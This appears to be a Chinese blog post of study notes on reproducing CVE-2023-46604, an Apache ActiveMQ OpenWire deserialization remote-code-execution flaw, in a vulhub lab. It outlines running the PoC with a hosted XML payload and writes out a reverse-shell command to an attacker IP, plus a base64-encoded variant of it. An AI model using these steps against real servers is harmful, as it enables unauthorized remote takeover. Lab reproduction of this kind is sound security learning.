CVE-2023-46604复现学习

activemq反序列化RCE漏洞

是OpenWire 协议反序列化命令执行漏洞

教程参考

ActiveMQ反序列化RCE漏洞复现(CVE-2023-46604)_cve-2023-46604复现-CSDN博客

概述

Apache ActiveMQ是一个开源的、功能强大的消息代理(Message Broker),由 Apache Software Foundation 所提供。ActiveMQ 支持 Java Message Service(JMS)1.1 和 2.0规范,提供了一个高性能、简单、灵活和支持多种语言(Java, C, C++, Ruby, Python, Perl等)的消息队列系统。

OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。

影响版本

Apache ActiveMQ <= 5.18.2

复现

把vulhub下poc都复制过来

poc.py的使用参数,ip,port,xml三个参数都需要

可以看到xml里,如果执行成功会执行touch /tmp/activeMQ-RCE-success

在根目录下的tmp文件夹下创建一个名为activeMQ-RCE-success的文件

启动http反连服务器,让我们的xml文件可以被访问到

再打poc

回来靶机查看执行成功

docker-compose exec activemq bash

那么我们可以构造一个反弹shell命令到xml里,然后去打poc

bash -i >& /dev/tcp/攻击者ip/6666 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Mi4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

在value下放命令,空格则换行再打一对value标签

打poc

不过我这边报环境不支持终端交互,不过利用这个方法还是可以执行远程代码

  • 8
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值